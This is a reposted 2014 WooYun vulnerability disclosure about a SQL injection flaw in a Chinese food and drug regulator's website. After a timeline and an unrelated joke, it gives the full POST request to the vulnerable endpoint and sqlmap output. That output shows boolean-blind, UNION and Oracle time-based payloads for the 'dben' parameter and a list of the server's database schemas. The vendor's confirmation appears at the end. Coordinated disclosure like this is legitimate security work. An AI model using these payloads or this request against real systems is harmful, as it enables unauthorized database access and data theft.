[公开漏洞]国家食品药品监督管理局一处SQL注射

来源:WooYun 浏览:617次 时间:2014-06-27
做网站找雨过天晴工作室
国家食品药品监督管理局一处SQL注射 相关厂商: 国家食品药品监督管理局 漏洞作者:Lonely 提交时间:2014-05-12 14:27 公开时间:2014-06-26 14:28 漏洞类型:SQL注射漏洞 危害等级:高 自评Rank:20 漏洞状态: 已交由第三方厂商(cncert国家互联网应急中心)处理 漏洞来源:http://www.wooyun.org Tags标签: 无 漏洞详情 披露状态:

2014-05-12:细节已通知厂商并且等待厂商处理中
2014-05-15:厂商已经确认,细节仅向厂商公开
2014-05-25:细节向核心白帽子及相关领域专家公开
2014-06-04:细节向普通白帽子公开
2014-06-14:细节向实习白帽子公开
2014-06-26:细节向公众公开

简要描述:

小区楼下偶遇女神,上去打招呼:HI,去哪呀?
女神:打胎!
我是一惊:啊?谁的,他不要我要啊,我来负责!
女神白我一眼:我自行车没气了,推去打胎,你给我滚远点。
这...真怪我么

详细说明:

无它 POST注入一枚。

POST /admin/tripDataFront/TripSearchAction_getDBIntroduces.action?d=0.9476920003071427 HTTP/1.1

Content-Length: 51

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://www.cmdi.gov.cn:80/

Cookie: JSESSIONID=7D47A89BCC4500BBFBA7601C6C8DFD3C

Host: www.cmdi.gov.cn

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36

Accept: */*



dben=CMDI_DOMESTICP





漏洞证明:

C:\Python27\sqlmap>sqlmap.py -r 1.txt --dbs



sqlmap/1.0-dev - automatic SQL injection and database takeover tool

http://sqlmap.org



[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual

consent is illegal. It is the end user's responsibility to obey all applicable

local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program



[*] starting at 17:35:41



[17:35:41] [WARNING] using 'C:\Documents and Settings\administratoo\.sqlmap\outp

ut' as the output directory

[17:35:41] [INFO] parsing HTTP request from '1.txt'

[17:35:41] [INFO] resuming back-end DBMS 'oracle'

[17:35:41] [INFO] testing connection to the target URL

sqlmap identified the following injection points with a total of 0 HTTP(s) reque

sts:

---

Place: POST

Parameter: dben

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: dben=CMDI_DOMESTICP' AND 6575=6575 AND 'rlAA'='rlAA



Type: UNION query

Title: Generic UNION query (NULL) - 2 columns

Payload: dben=CMDI_DOMESTICP' UNION ALL SELECT CHR(113)||CHR(103)||CHR(97)||

CHR(110)||CHR(113)||CHR(71)||CHR(111)||CHR(111)||CHR(78)||CHR(102)||CHR(117)||CH

R(114)||CHR(81)||CHR(118)||CHR(76)||CHR(113)||CHR(112)||CHR(102)||CHR(117)||CHR(

113),NULL FROM DUAL--



Type: AND/OR time-based blind

Title: Oracle OR time-based blind

Payload: dben=-2105' OR 1929=DBMS_PIPE.RECEIVE_MESSAGE(CHR(106)||CHR(90)||CH

R(121)||CHR(66),5) AND 'FLAL'='FLAL

---

[17:35:41] [INFO] the back-end DBMS is Oracle

back-end DBMS: Oracle

[17:35:41] [WARNING] schema names are going to be used on Oracle for enumeration

as the counterpart to database names on other DBMSes

[17:35:41] [INFO] fetching database (schema) names

available databases [19]:

[*] CMDI

[*] CMDIENG

[*] COLLECT

[*] CTXSYS

[*] DBSNMP

[*] DMSYS

[*] EXFSYS

[*] MDSYS

[*] OLAPSYS

[*] ORDSYS

[*] OUTLN

[*] SCOTT

[*] SYS

[*] SYSMAN

[*] SYSTEM

[*] TSMSYS

[*] WMSYS

[*] XDB

[*] YJJCMS



未深入 到此为止。

给多少分呢。

修复方案:

看着能给多少分。

版权声明:转载请注明来源 Lonely@乌云 漏洞回应 厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-15 19:00

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT国家食品监督管理总局信息中心通报处置。

最新状态:

暂无